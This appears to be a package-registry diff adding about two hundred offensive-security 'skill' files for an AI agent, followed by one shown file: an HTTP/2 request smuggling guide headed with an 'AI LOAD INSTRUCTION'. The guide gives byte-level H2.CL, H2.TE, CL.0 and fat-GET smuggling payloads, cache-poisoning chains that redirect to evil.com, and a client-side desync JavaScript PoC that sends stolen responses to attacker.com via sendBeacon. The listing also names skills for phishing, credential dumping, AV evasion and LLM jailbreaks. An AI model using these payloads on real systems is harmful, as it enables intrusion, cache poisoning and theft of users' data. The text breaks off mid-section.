ineedcodes 1.6.0 → 1.7.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +2 -1
- package/skills/401-403-bypass-techniques/SKILL.md +348 -0
- package/skills/active-directory-acl-abuse/BLOODHOUND_PATHS.md +281 -0
- package/skills/active-directory-acl-abuse/SKILL.md +295 -0
- package/skills/active-directory-certificate-services/ADCS_ESC_MATRIX.md +197 -0
- package/skills/active-directory-certificate-services/SKILL.md +303 -0
- package/skills/active-directory-kerberos-attacks/KERBEROS_ATTACK_CHAINS.md +226 -0
- package/skills/active-directory-kerberos-attacks/SKILL.md +311 -0
- package/skills/ai-ml-security/SKILL.md +425 -0
- package/skills/android-pentesting-tricks/FRIDA_SCRIPTS.md +394 -0
- package/skills/android-pentesting-tricks/SKILL.md +369 -0
- package/skills/anti-debugging-techniques/ANTI_DEBUG_MATRIX.md +117 -0
- package/skills/anti-debugging-techniques/SKILL.md +407 -0
- package/skills/api-auth-and-jwt-abuse/SKILL.md +76 -0
- package/skills/api-authorization-and-bola/SKILL.md +48 -0
- package/skills/api-recon-and-docs/SKILL.md +61 -0
- package/skills/api-sec/SKILL.md +49 -0
- package/skills/arbitrary-write-to-rce/SKILL.md +361 -0
- package/skills/auth-sec/SKILL.md +41 -0
- package/skills/authbypass-authentication-flaws/SKILL.md +441 -0
- package/skills/bba-ad-attacker/SKILL.md +420 -0
- package/skills/bba-api-security/SKILL.md +95 -0
- package/skills/bba-attack-planner/SKILL.md +186 -0
- package/skills/bba-binary-exploit/SKILL.md +65 -0
- package/skills/bba-bizlogic-hunter/SKILL.md +304 -0
- package/skills/bba-bug-bounty/SKILL.md +245 -0
- package/skills/bba-cicd-redteam/SKILL.md +515 -0
- package/skills/bba-cloud-security/SKILL.md +97 -0
- package/skills/bba-container-escape/SKILL.md +161 -0
- package/skills/bba-credential-tester/SKILL.md +346 -0
- package/skills/bba-crypto-analyst/SKILL.md +54 -0
- package/skills/bba-ctf-solver/SKILL.md +166 -0
- package/skills/bba-detection-engineer/SKILL.md +93 -0
- package/skills/bba-engagement-planner/SKILL.md +68 -0
- package/skills/bba-exploit-chainer/SKILL.md +280 -0
- package/skills/bba-exploit-guide/SKILL.md +96 -0
- package/skills/bba-forensics-analyst/SKILL.md +512 -0
- package/skills/bba-graphql-hunter/SKILL.md +145 -0
- package/skills/bba-hardware-hacker/SKILL.md +57 -0
- package/skills/bba-jwt-cracker/SKILL.md +133 -0
- package/skills/bba-llm-redteam/SKILL.md +149 -0
- package/skills/bba-malware-analyst/SKILL.md +305 -0
- package/skills/bba-mobile-pentester/SKILL.md +350 -0
- package/skills/bba-osint-collector/SKILL.md +645 -0
- package/skills/bba-payload-crafter/SKILL.md +347 -0
- package/skills/bba-phishing-operator/SKILL.md +516 -0
- package/skills/bba-poc-validator/SKILL.md +249 -0
- package/skills/bba-privesc-advisor/SKILL.md +98 -0
- package/skills/bba-purple-team/SKILL.md +56 -0
- package/skills/bba-recon-advisor/SKILL.md +215 -0
- package/skills/bba-red-team-operator/SKILL.md +61 -0
- package/skills/bba-report-generator/SKILL.md +145 -0
- package/skills/bba-reverse-engineer/SKILL.md +298 -0
- package/skills/bba-social-engineer/SKILL.md +341 -0
- package/skills/bba-ssrf-hunter/SKILL.md +120 -0
- package/skills/bba-stig-analyst/SKILL.md +108 -0
- package/skills/bba-subdomain-takeover/SKILL.md +141 -0
- package/skills/bba-swarm-orchestrator/SKILL.md +351 -0
- package/skills/bba-threat-modeler/SKILL.md +574 -0
- package/skills/bba-vuln-scanner/SKILL.md +305 -0
- package/skills/bba-web-hunter/SKILL.md +285 -0
- package/skills/bba-wireless-pentester/SKILL.md +539 -0
- package/skills/binary-protection-bypass/PROTECTION_BYPASS_MATRIX.md +168 -0
- package/skills/binary-protection-bypass/SKILL.md +295 -0
- package/skills/browser-exploitation-v8/SKILL.md +334 -0
- package/skills/browser-exploitation-v8/V8_EXPLOITATION_PATTERNS.md +288 -0
- package/skills/business-logic-vuln/SKILL.md +33 -0
- package/skills/business-logic-vulnerabilities/CHECKLIST.md +375 -0
- package/skills/business-logic-vulnerabilities/METHODOLOGY.md +337 -0
- package/skills/business-logic-vulnerabilities/SCENARIOS.md +1095 -0
- package/skills/business-logic-vulnerabilities/SKILL.md +711 -0
- package/skills/classical-cipher-analysis/SKILL.md +663 -0
- package/skills/clickjacking/SKILL.md +163 -0
- package/skills/cmdi-command-injection/SKILL.md +687 -0
- package/skills/code-obfuscation-deobfuscation/SKILL.md +391 -0
- package/skills/container-escape-techniques/DOCKER_ESCAPE_CHAINS.md +296 -0
- package/skills/container-escape-techniques/SKILL.md +339 -0
- package/skills/cors-cross-origin-misconfiguration/SCENARIOS.md +152 -0
- package/skills/cors-cross-origin-misconfiguration/SKILL.md +270 -0
- package/skills/crlf-injection/SKILL.md +179 -0
- package/skills/csp-bypass-advanced/SKILL.md +259 -0
- package/skills/csrf-cross-site-request-forgery/SKILL.md +526 -0
- package/skills/csv-formula-injection/SKILL.md +144 -0
- package/skills/dangling-markup-injection/SKILL.md +321 -0
- package/skills/defi-attack-patterns/SKILL.md +355 -0
- package/skills/dependency-confusion/SKILL.md +178 -0
- package/skills/deserialization-insecure/JAVA_GADGET_CHAINS.md +511 -0
- package/skills/deserialization-insecure/SKILL.md +725 -0
- package/skills/dns-rebinding-attacks/SKILL.md +337 -0
- package/skills/email-header-injection/SKILL.md +349 -0
- package/skills/expression-language-injection/SKILL.md +243 -0
- package/skills/file-access-vuln/SKILL.md +33 -0
- package/skills/format-string-exploitation/SKILL.md +312 -0
- package/skills/ghost-bits-cast-attack/PAYLOAD_COOKBOOK.md +448 -0
- package/skills/ghost-bits-cast-attack/SKILL.md +799 -0
- package/skills/graphql-and-hidden-parameters/SKILL.md +50 -0
- package/skills/hack/SKILL.md +162 -0
- package/skills/hash-attack-techniques/SKILL.md +491 -0
- package/skills/heap-exploitation/HOUSE_OF_TECHNIQUES.md +244 -0
- package/skills/heap-exploitation/IO_FILE_EXPLOITATION.md +256 -0
- package/skills/heap-exploitation/SKILL.md +217 -0
- package/skills/http-host-header-attacks/SKILL.md +323 -0
- package/skills/http-parameter-pollution/SKILL.md +208 -0
- package/skills/http2-specific-attacks/SKILL.md +350 -0
- package/skills/idor-broken-object-authorization/SKILL.md +336 -0
- package/skills/injection-checking/EXTRA_INJECTION_TYPES.md +450 -0
- package/skills/injection-checking/SKILL.md +50 -0
- package/skills/insecure-source-code-management/SKILL.md +161 -0
- package/skills/ios-pentesting-tricks/IOS_RUNTIME_TRICKS.md +411 -0
- package/skills/ios-pentesting-tricks/SKILL.md +418 -0
- package/skills/jndi-injection/SKILL.md +265 -0
- package/skills/jwt-oauth-token-attacks/SKILL.md +301 -0
- package/skills/kernel-exploitation/KERNEL_HEAP_TECHNIQUES.md +293 -0
- package/skills/kernel-exploitation/KERNEL_MITIGATION_BYPASS.md +224 -0
- package/skills/kernel-exploitation/SKILL.md +307 -0
- package/skills/kubernetes-pentesting/SKILL.md +348 -0
- package/skills/lattice-crypto-attacks/SKILL.md +497 -0
- package/skills/linux-lateral-movement/SKILL.md +348 -0
- package/skills/linux-privilege-escalation/KERNEL_EXPLOITS_CHECKLIST.md +260 -0
- package/skills/linux-privilege-escalation/SKILL.md +346 -0
- package/skills/linux-privilege-escalation/SUID_CAPABILITIES_TRICKS.md +305 -0
- package/skills/linux-security-bypass/SKILL.md +345 -0
- package/skills/llm-prompt-injection/JAILBREAK_PATTERNS.md +306 -0
- package/skills/llm-prompt-injection/SKILL.md +357 -0
- package/skills/macos-process-injection/DYLIB_XPC_TECHNIQUES.md +373 -0
- package/skills/macos-process-injection/SKILL.md +384 -0
- package/skills/macos-security-bypass/SKILL.md +337 -0
- package/skills/macos-security-bypass/TCC_BYPASS_MATRIX.md +200 -0
- package/skills/memory-forensics-volatility/SKILL.md +323 -0
- package/skills/memory-forensics-volatility/VOLATILITY_CHEATSHEET.md +225 -0
- package/skills/mobile-ssl-pinning-bypass/SKILL.md +531 -0
- package/skills/network-protocol-attacks/NAME_RESOLUTION_POISONING.md +226 -0
- package/skills/network-protocol-attacks/SKILL.md +330 -0
- package/skills/nosql-injection/SKILL.md +341 -0
- package/skills/ntlm-relay-coercion/COERCION_METHODS.md +253 -0
- package/skills/ntlm-relay-coercion/SKILL.md +267 -0
- package/skills/oauth-oidc-misconfiguration/SKILL.md +46 -0
- package/skills/open-redirect/SKILL.md +380 -0
- package/skills/path-traversal-lfi/SKILL.md +802 -0
- package/skills/prototype-pollution/SKILL.md +190 -0
- package/skills/prototype-pollution-advanced/KNOWN_GADGETS.md +253 -0
- package/skills/prototype-pollution-advanced/SKILL.md +338 -0
- package/skills/race-condition/SKILL.md +526 -0
- package/skills/recon-and-methodology/SKILL.md +389 -0
- package/skills/recon-for-sec/SKILL.md +29 -0
- package/skills/request-smuggling/H2_SMUGGLING_VARIANTS.md +498 -0
- package/skills/request-smuggling/SKILL.md +314 -0
- package/skills/reverse-shell-techniques/SHELL_CHEATSHEET.md +196 -0
- package/skills/reverse-shell-techniques/SKILL.md +290 -0
- package/skills/rsa-attack-techniques/RSA_ATTACK_CATALOG.md +432 -0
- package/skills/rsa-attack-techniques/SKILL.md +437 -0
- package/skills/saml-sso-assertion-attacks/SKILL.md +41 -0
- package/skills/sandbox-escape-techniques/PYTHON_SANDBOX_ESCAPE.md +349 -0
- package/skills/sandbox-escape-techniques/SECCOMP_BYPASS.md +332 -0
- package/skills/sandbox-escape-techniques/SKILL.md +250 -0
- package/skills/smart-contract-vulnerabilities/SKILL.md +314 -0
- package/skills/smart-contract-vulnerabilities/SOLIDITY_VULN_PATTERNS.md +460 -0
- package/skills/sqli-sql-injection/SCENARIOS.md +575 -0
- package/skills/sqli-sql-injection/SKILL.md +489 -0
- package/skills/sqli-sql-injection/SQLMAP_ADVANCED.md +642 -0
- package/skills/ssrf-server-side-request-forgery/SCENARIOS.md +226 -0
- package/skills/ssrf-server-side-request-forgery/SKILL.md +323 -0
- package/skills/ssrf-server-side-request-forgery/URL_PARSER_TRICKS.md +650 -0
- package/skills/ssti-server-side-template-injection/ENGINE_PAYLOADS.md +456 -0
- package/skills/ssti-server-side-template-injection/SCENARIOS.md +319 -0
- package/skills/ssti-server-side-template-injection/SKILL.md +344 -0
- package/skills/stack-overflow-and-rop/ROP_ADVANCED_TECHNIQUES.md +249 -0
- package/skills/stack-overflow-and-rop/SKILL.md +304 -0
- package/skills/steganography-techniques/SKILL.md +348 -0
- package/skills/steganography-techniques/STEGO_TOOLS_GUIDE.md +335 -0
- package/skills/subdomain-takeover/SKILL.md +247 -0
- package/skills/symbolic-execution-tools/ANGR_COOKBOOK.md +437 -0
- package/skills/symbolic-execution-tools/SKILL.md +419 -0
- package/skills/symmetric-cipher-attacks/BLOCK_CIPHER_ATTACKS.md +364 -0
- package/skills/symmetric-cipher-attacks/SKILL.md +462 -0
- package/skills/traffic-analysis-pcap/SKILL.md +341 -0
- package/skills/tunneling-and-pivoting/SKILL.md +343 -0
- package/skills/type-juggling/SKILL.md +291 -0
- package/skills/unauthorized-access-common-services/PORT_SERVICE_MATRIX.md +340 -0
- package/skills/unauthorized-access-common-services/SKILL.md +388 -0
- package/skills/upload-insecure-files/SCENARIOS.md +158 -0
- package/skills/upload-insecure-files/SKILL.md +543 -0
- package/skills/vm-and-bytecode-reverse/SKILL.md +450 -0
- package/skills/vr-cheatsheet-authentication_bypass/SKILL.md +184 -0
- package/skills/vr-cheatsheet-dangerous_functions/SKILL.md +200 -0
- package/skills/vr-cheatsheet-linux_commands/SKILL.md +40 -0
- package/skills/vr-cheatsheet-rce/SKILL.md +177 -0
- package/skills/vr-cheatsheet-reverse_engineering/SKILL.md +144 -0
- package/skills/vr-cheatsheet-sqli/SKILL.md +270 -0
- package/skills/vr-cheatsheet-ssrf/SKILL.md +173 -0
- package/skills/vr-cheatsheet-xss/SKILL.md +177 -0
- package/skills/vr-methodology-mindset_and_tips/SKILL.md +51 -0
- package/skills/vr-template-vulnerability_report_template/SKILL.md +59 -0
- package/skills/vr-writeup-CVE-2026-9136/SKILL.md +171 -0
- package/skills/vr-writeup-ZVE-2026-3795/SKILL.md +350 -0
- package/skills/vr-writeup-api_key_leak/SKILL.md +103 -0
- package/skills/waf-bypass-techniques/SKILL.md +290 -0
- package/skills/waf-bypass-techniques/WAF_PRODUCT_MATRIX.md +202 -0
- package/skills/web-cache-deception/CACHE_POISONING_TECHNIQUES.md +637 -0
- package/skills/web-cache-deception/SKILL.md +222 -0
- package/skills/websocket-security/SKILL.md +454 -0
- package/skills/windows-av-evasion/AMSI_BYPASS_TECHNIQUES.md +289 -0
- package/skills/windows-av-evasion/SKILL.md +342 -0
- package/skills/windows-lateral-movement/CREDENTIAL_DUMPING.md +308 -0
- package/skills/windows-lateral-movement/SKILL.md +335 -0
- package/skills/windows-privilege-escalation/SKILL.md +328 -0
- package/skills/windows-privilege-escalation/TOKEN_POTATO_TRICKS.md +216 -0
- package/skills/windows-privilege-escalation/UAC_BYPASS_METHODS.md +225 -0
- package/skills/xslt-injection/SKILL.md +281 -0
- package/skills/xss-cross-site-scripting/ADVANCED_XSS_TRICKS.md +276 -0
- package/skills/xss-cross-site-scripting/SCENARIOS.md +278 -0
- package/skills/xss-cross-site-scripting/SKILL.md +379 -0
- package/skills/xxe-xml-external-entity/SCENARIOS.md +112 -0
- package/skills/xxe-xml-external-entity/SKILL.md +554 -0
- package/src/agent.js +1 -1
- package/src/session.js +47 -11
- package/src/skills.js +30 -6
- package/src/ui.js +1 -1
|
@@ -0,0 +1,498 @@
|
|
|
1
|
+
# HTTP/2 Smuggling Variants & Advanced Desync Techniques
|
|
2
|
+
|
|
3
|
+
> **AI LOAD INSTRUCTION**: Load this when you need H2.CL/H2.TE byte-level payloads, CL.0 desync, Fat GET smuggling, smuggling→cache poisoning chains, client-side desync (CSD) flows, or CDN/reverse-proxy behavior matrices. Assumes the main [SKILL.md](./SKILL.md) is already loaded for CL.TE, TE.CL, TE.TE fundamentals.
|
|
4
|
+
|
|
5
|
+
---
|
|
6
|
+
|
|
7
|
+
## 1. H2.CL — HTTP/2 Content-Length Desync
|
|
8
|
+
|
|
9
|
+
### 1.1 Concept
|
|
10
|
+
|
|
11
|
+
The front-end speaks HTTP/2 with the client and downgrades to HTTP/1.1 toward the back-end. HTTP/2 frames have their own length field (frame length), but the proxy may also forward a `content-length` header to the back-end. If these disagree, the back-end trusts `content-length` while the front-end trusts the H2 frame boundary.
|
|
12
|
+
|
|
13
|
+
### 1.2 Attack Flow
|
|
14
|
+
|
|
15
|
+
```
|
|
16
|
+
Client ──[HTTP/2]──> Front-end proxy ──[HTTP/1.1]──> Back-end
|
|
17
|
+
|
|
18
|
+
1. Client sends H2 POST with:
|
|
19
|
+
- H2 DATA frame containing: "0\r\n\r\nGET /admin HTTP/1.1\r\nHost: target\r\n\r\n"
|
|
20
|
+
- content-length header: 0
|
|
21
|
+
|
|
22
|
+
2. Front-end (H2): reads entire DATA frame as body of first request
|
|
23
|
+
→ forwards to back-end as HTTP/1.1 POST
|
|
24
|
+
|
|
25
|
+
3. Back-end (H1): sees content-length: 0
|
|
26
|
+
→ treats body as empty
|
|
27
|
+
→ remaining bytes become: "GET /admin HTTP/1.1\r\nHost: target\r\n\r\n"
|
|
28
|
+
→ parsed as second request
|
|
29
|
+
```
|
|
30
|
+
|
|
31
|
+
### 1.3 Byte-Level Payload
|
|
32
|
+
|
|
33
|
+
```http
|
|
34
|
+
:method: POST
|
|
35
|
+
:path: /
|
|
36
|
+
:authority: target.example
|
|
37
|
+
content-type: application/x-www-form-urlencoded
|
|
38
|
+
content-length: 0
|
|
39
|
+
|
|
40
|
+
GET /admin HTTP/1.1
|
|
41
|
+
Host: target.example
|
|
42
|
+
|
|
43
|
+
```
|
|
44
|
+
|
|
45
|
+
The H2 DATA frame carries the entire body including the smuggled `GET /admin` request. The `content-length: 0` header tells the back-end the POST body is empty.
|
|
46
|
+
|
|
47
|
+
### 1.4 Confirming H2.CL
|
|
48
|
+
|
|
49
|
+
```
|
|
50
|
+
Step 1: Send H2 POST with content-length: 0 and smuggled prefix "G"
|
|
51
|
+
Step 2: Follow immediately with normal GET / on same connection
|
|
52
|
+
Step 3: If back-end sees "GGET / HTTP/1.1" → 405 or error → confirmed
|
|
53
|
+
|
|
54
|
+
Timing version:
|
|
55
|
+
- Smuggle "GET /sleep?delay=10 HTTP/1.1..."
|
|
56
|
+
- Subsequent request on same connection delayed → confirmed
|
|
57
|
+
```
|
|
58
|
+
|
|
59
|
+
---
|
|
60
|
+
|
|
61
|
+
## 2. H2.TE — HTTP/2 Transfer-Encoding Desync
|
|
62
|
+
|
|
63
|
+
### 2.1 Concept
|
|
64
|
+
|
|
65
|
+
HTTP/2 specification forbids `transfer-encoding` in H2 frames. However, some front-end proxies don't strip it when downgrading to H1. If the back-end sees `transfer-encoding: chunked` in the downgraded H1 request, it uses chunked parsing while the front-end used H2 frame boundaries.
|
|
66
|
+
|
|
67
|
+
### 2.2 Attack Flow
|
|
68
|
+
|
|
69
|
+
```
|
|
70
|
+
Client ──[HTTP/2]──> Front-end proxy ──[HTTP/1.1]──> Back-end
|
|
71
|
+
|
|
72
|
+
1. Client sends H2 POST with:
|
|
73
|
+
- transfer-encoding: chunked (forbidden in H2, but proxy passes it through)
|
|
74
|
+
- H2 DATA frame body: "0\r\n\r\nGET /admin HTTP/1.1\r\nHost: target\r\n\r\n"
|
|
75
|
+
|
|
76
|
+
2. Front-end: ignores transfer-encoding (H2 doesn't use it)
|
|
77
|
+
→ forwards entire DATA frame as H1 body
|
|
78
|
+
|
|
79
|
+
3. Back-end: sees transfer-encoding: chunked
|
|
80
|
+
→ parses "0\r\n\r\n" as end-of-chunks
|
|
81
|
+
→ remaining bytes = smuggled request
|
|
82
|
+
```
|
|
83
|
+
|
|
84
|
+
### 2.3 Byte-Level Payload
|
|
85
|
+
|
|
86
|
+
```http
|
|
87
|
+
:method: POST
|
|
88
|
+
:path: /
|
|
89
|
+
:authority: target.example
|
|
90
|
+
content-type: application/x-www-form-urlencoded
|
|
91
|
+
transfer-encoding: chunked
|
|
92
|
+
|
|
93
|
+
0
|
|
94
|
+
|
|
95
|
+
GET /admin HTTP/1.1
|
|
96
|
+
Host: target.example
|
|
97
|
+
|
|
98
|
+
```
|
|
99
|
+
|
|
100
|
+
### 2.4 Variations
|
|
101
|
+
|
|
102
|
+
Some proxies normalize the `transfer-encoding` header. Try obfuscations:
|
|
103
|
+
|
|
104
|
+
```http
|
|
105
|
+
transfer-encoding: chunked
|
|
106
|
+
Transfer-Encoding: chunked (capitalized — H2 requires lowercase)
|
|
107
|
+
transfer-encoding: identity (should be stripped but may pass)
|
|
108
|
+
transfer-encoding: chunked (extra space)
|
|
109
|
+
transfer-encoding: chunked\r\n (trailing whitespace)
|
|
110
|
+
```
|
|
111
|
+
|
|
112
|
+
---
|
|
113
|
+
|
|
114
|
+
## 3. CL.0 — CONNECTION CLOSE DESYNC
|
|
115
|
+
|
|
116
|
+
### 3.1 Concept
|
|
117
|
+
|
|
118
|
+
CL.0 occurs when the back-end ignores the `content-length` header entirely and reads the body length as 0 — regardless of what `content-length` says. The remaining body bytes stay in the socket buffer for the next request.
|
|
119
|
+
|
|
120
|
+
Unlike CL.TE or TE.CL, CL.0 does NOT require `transfer-encoding`. It exploits endpoints that simply don't consume the body.
|
|
121
|
+
|
|
122
|
+
### 3.2 Vulnerable Conditions
|
|
123
|
+
|
|
124
|
+
- Endpoints that return a response before reading the full body (e.g., redirects, 301/302)
|
|
125
|
+
- Static file servers that ignore POST body
|
|
126
|
+
- Health-check endpoints
|
|
127
|
+
- Endpoints behind `Connection: close` that reuse the socket anyway
|
|
128
|
+
|
|
129
|
+
### 3.3 Attack Flow
|
|
130
|
+
|
|
131
|
+
```
|
|
132
|
+
1. Send POST to endpoint that ignores body:
|
|
133
|
+
POST /redirect-page HTTP/1.1
|
|
134
|
+
Host: target.example
|
|
135
|
+
Content-Length: 30
|
|
136
|
+
|
|
137
|
+
GET /admin HTTP/1.1
|
|
138
|
+
X: x
|
|
139
|
+
|
|
140
|
+
2. Back-end sends 301 redirect immediately without consuming body
|
|
141
|
+
3. The "GET /admin HTTP/1.1\r\nX: x" remains in socket buffer
|
|
142
|
+
4. Next request on this connection is prepended with smuggled bytes
|
|
143
|
+
```
|
|
144
|
+
|
|
145
|
+
### 3.4 Detection
|
|
146
|
+
|
|
147
|
+
```bash
|
|
148
|
+
# Step 1: Find endpoints that respond without consuming body
|
|
149
|
+
# Candidates: redirects, 204, static pages serving POST
|
|
150
|
+
|
|
151
|
+
# Step 2: Send POST with Content-Length larger than actual body
|
|
152
|
+
curl -X POST https://target.com/static-page \
|
|
153
|
+
-H "Content-Length: 50" \
|
|
154
|
+
-d "GET /canary HTTP/1.1\r\nHost: target.com\r\n\r\n" \
|
|
155
|
+
--http1.1
|
|
156
|
+
|
|
157
|
+
# Step 3: Send follow-up request on same connection
|
|
158
|
+
# If response matches /canary instead of expected page → CL.0 confirmed
|
|
159
|
+
```
|
|
160
|
+
|
|
161
|
+
### 3.5 Key Differences from CL.TE
|
|
162
|
+
|
|
163
|
+
| Aspect | CL.TE | CL.0 |
|
|
164
|
+
|---|---|---|
|
|
165
|
+
| Requires TE header | Yes | No |
|
|
166
|
+
| Front/back disagreement | CL vs TE | CL vs "ignore body" |
|
|
167
|
+
| Works without chunked support | No | Yes |
|
|
168
|
+
| Common targets | Proxies parsing TE | Static servers, redirect endpoints |
|
|
169
|
+
|
|
170
|
+
---
|
|
171
|
+
|
|
172
|
+
## 4. FAT GET REQUEST SMUGGLING
|
|
173
|
+
|
|
174
|
+
### 4.1 Concept
|
|
175
|
+
|
|
176
|
+
Some reverse proxies allow GET requests with a body (RFC 7230 permits but discourages it). The front-end may forward the body, but the back-end may ignore it for GET requests, leaving body bytes in the buffer.
|
|
177
|
+
|
|
178
|
+
### 4.2 Payload
|
|
179
|
+
|
|
180
|
+
```http
|
|
181
|
+
GET / HTTP/1.1
|
|
182
|
+
Host: target.example
|
|
183
|
+
Content-Length: 55
|
|
184
|
+
|
|
185
|
+
GET /admin HTTP/1.1
|
|
186
|
+
Host: target.example
|
|
187
|
+
Cookie: admin=true
|
|
188
|
+
|
|
189
|
+
```
|
|
190
|
+
|
|
191
|
+
### 4.3 Behavior Matrix
|
|
192
|
+
|
|
193
|
+
| Proxy/Server | GET Body Behavior |
|
|
194
|
+
|---|---|
|
|
195
|
+
| Nginx (as proxy) | Forwards body to back-end |
|
|
196
|
+
| Apache (as proxy) | Usually forwards body |
|
|
197
|
+
| HAProxy | Forwards body by default |
|
|
198
|
+
| AWS ALB | May strip body on GET |
|
|
199
|
+
| Cloudflare | May strip body on GET |
|
|
200
|
+
| Express.js (back-end) | Ignores GET body by default |
|
|
201
|
+
| Gunicorn (back-end) | Ignores GET body |
|
|
202
|
+
| PHP-FPM | Ignores GET body |
|
|
203
|
+
|
|
204
|
+
When front-end forwards and back-end ignores → desync.
|
|
205
|
+
|
|
206
|
+
### 4.4 Combined with Cache
|
|
207
|
+
|
|
208
|
+
```http
|
|
209
|
+
GET /static/app.js HTTP/1.1
|
|
210
|
+
Host: target.example
|
|
211
|
+
Content-Length: 70
|
|
212
|
+
|
|
213
|
+
GET /admin/delete-user?id=1 HTTP/1.1
|
|
214
|
+
Host: target.example
|
|
215
|
+
Cookie: admin=true
|
|
216
|
+
|
|
217
|
+
```
|
|
218
|
+
|
|
219
|
+
If the proxy caches `/static/app.js` responses, the smuggled request's response may get cached under `/static/app.js`.
|
|
220
|
+
|
|
221
|
+
---
|
|
222
|
+
|
|
223
|
+
## 5. REQUEST SMUGGLING → CACHE POISONING CHAIN
|
|
224
|
+
|
|
225
|
+
### 5.1 The Chain
|
|
226
|
+
|
|
227
|
+
```
|
|
228
|
+
1. Attacker smuggles a request that returns malicious content
|
|
229
|
+
2. The smuggled response is associated with a cacheable URL by the front-end
|
|
230
|
+
3. Cache stores malicious response under legitimate URL
|
|
231
|
+
4. All subsequent users requesting that URL get poisoned content
|
|
232
|
+
```
|
|
233
|
+
|
|
234
|
+
### 5.2 CL.TE → Cache Poisoning Example
|
|
235
|
+
|
|
236
|
+
```http
|
|
237
|
+
POST / HTTP/1.1
|
|
238
|
+
Host: target.example
|
|
239
|
+
Content-Length: 130
|
|
240
|
+
Transfer-Encoding: chunked
|
|
241
|
+
|
|
242
|
+
0
|
|
243
|
+
|
|
244
|
+
GET /static/app.js HTTP/1.1
|
|
245
|
+
Host: target.example
|
|
246
|
+
Content-Length: 10
|
|
247
|
+
|
|
248
|
+
x=1
|
|
249
|
+
```
|
|
250
|
+
|
|
251
|
+
**What happens**:
|
|
252
|
+
1. Front-end (CL): sends everything as one POST request
|
|
253
|
+
2. Back-end (TE): sees POST end at `0\r\n\r\n`, then `GET /static/app.js` as new request
|
|
254
|
+
3. Back-end responds to smuggled `GET /static/app.js` — but its response gets matched to the **next legitimate request** on the same connection
|
|
255
|
+
4. If next legitimate request is for `/static/app.js` → cache stores the matched response → poisoned
|
|
256
|
+
|
|
257
|
+
### 5.3 Targeted Poisoning
|
|
258
|
+
|
|
259
|
+
To control WHAT gets cached, smuggle a request that returns attacker-controlled content:
|
|
260
|
+
|
|
261
|
+
```http
|
|
262
|
+
POST / HTTP/1.1
|
|
263
|
+
Host: target.example
|
|
264
|
+
Content-Length: 200
|
|
265
|
+
Transfer-Encoding: chunked
|
|
266
|
+
|
|
267
|
+
0
|
|
268
|
+
|
|
269
|
+
GET /redirect?url=https://evil.com/malicious.js HTTP/1.1
|
|
270
|
+
Host: target.example
|
|
271
|
+
X-Ignore: x
|
|
272
|
+
```
|
|
273
|
+
|
|
274
|
+
If `/redirect` returns a 302 or 301 to `evil.com`, and the cache stores this for the next request's URL, that URL now redirects to `evil.com` for all users.
|
|
275
|
+
|
|
276
|
+
### 5.4 Cache Poisoning via Response Queue Misalignment
|
|
277
|
+
|
|
278
|
+
```
|
|
279
|
+
Connection:
|
|
280
|
+
Request A (smuggled) → Response A
|
|
281
|
+
Request B (victim's) → Response B
|
|
282
|
+
|
|
283
|
+
Cache expects:
|
|
284
|
+
Request B's URL → Response B
|
|
285
|
+
|
|
286
|
+
Actual:
|
|
287
|
+
Request B's URL → Response A (wrong response)
|
|
288
|
+
|
|
289
|
+
If Response A contains XSS or redirect → cached under Request B's URL
|
|
290
|
+
```
|
|
291
|
+
|
|
292
|
+
---
|
|
293
|
+
|
|
294
|
+
## 6. CLIENT-SIDE DESYNC (CSD)
|
|
295
|
+
|
|
296
|
+
### 6.1 Concept
|
|
297
|
+
|
|
298
|
+
Client-Side Desync exploits browser `fetch()` API behavior to cause desynchronization between the browser and a web server. Unlike server-side smuggling (which poisons a shared connection pool), CSD poisons the **browser's own connection** to the target.
|
|
299
|
+
|
|
300
|
+
### 6.2 Prerequisites
|
|
301
|
+
|
|
302
|
+
1. Target server reuses connections (not `Connection: close` on every response)
|
|
303
|
+
2. A page on the target (or same-site) where attacker can inject JavaScript
|
|
304
|
+
3. The server has an endpoint that doesn't consume the full request body (CL.0-style)
|
|
305
|
+
|
|
306
|
+
### 6.3 Detailed Flow
|
|
307
|
+
|
|
308
|
+
```
|
|
309
|
+
1. Attacker's JS on victim's browser sends fetch() to target:
|
|
310
|
+
|
|
311
|
+
fetch('https://target.com/trigger', {
|
|
312
|
+
method: 'POST',
|
|
313
|
+
mode: 'no-cors',
|
|
314
|
+
credentials: 'include',
|
|
315
|
+
body: 'GET /victim-data HTTP/1.1\r\nHost: target.com\r\n\r\n'
|
|
316
|
+
});
|
|
317
|
+
|
|
318
|
+
2. Browser sends POST to /trigger with body containing smuggled GET
|
|
319
|
+
3. Server responds to POST immediately (ignoring body — CL.0)
|
|
320
|
+
4. Smuggled "GET /victim-data" remains in the TCP buffer
|
|
321
|
+
|
|
322
|
+
5. Attacker's JS sends a follow-up request on same connection:
|
|
323
|
+
|
|
324
|
+
fetch('https://target.com/api/me', {
|
|
325
|
+
credentials: 'include'
|
|
326
|
+
});
|
|
327
|
+
|
|
328
|
+
6. Server processes the leftover "GET /victim-data" instead of "GET /api/me"
|
|
329
|
+
7. Response mismatch — browser gets /victim-data response for /api/me request
|
|
330
|
+
```
|
|
331
|
+
|
|
332
|
+
### 6.4 JavaScript PoC Template
|
|
333
|
+
|
|
334
|
+
```javascript
|
|
335
|
+
async function desync(targetUrl, triggerPath, smuggledRequest) {
|
|
336
|
+
const body = smuggledRequest;
|
|
337
|
+
|
|
338
|
+
// Step 1: Trigger the desync (CL.0 on trigger endpoint)
|
|
339
|
+
await fetch(targetUrl + triggerPath, {
|
|
340
|
+
method: 'POST',
|
|
341
|
+
mode: 'no-cors',
|
|
342
|
+
credentials: 'include',
|
|
343
|
+
body: body
|
|
344
|
+
});
|
|
345
|
+
|
|
346
|
+
// Step 2: Follow-up request on (hopefully) same connection
|
|
347
|
+
const response = await fetch(targetUrl + '/api/profile', {
|
|
348
|
+
credentials: 'include'
|
|
349
|
+
});
|
|
350
|
+
|
|
351
|
+
// Step 3: Exfiltrate if response is mismatched
|
|
352
|
+
const data = await response.text();
|
|
353
|
+
navigator.sendBeacon('https://attacker.com/log', data);
|
|
354
|
+
}
|
|
355
|
+
|
|
356
|
+
desync(
|
|
357
|
+
'https://target.com',
|
|
358
|
+
'/static/logo.png', // CL.0-susceptible endpoint
|
|
359
|
+
'GET /admin/users HTTP/1.1\r\nHost: target.com\r\n\r\n'
|
|
360
|
+
);
|
|
361
|
+
```
|
|
362
|
+
|
|
363
|
+
### 6.5 CSD Limitations
|
|
364
|
+
|
|
365
|
+
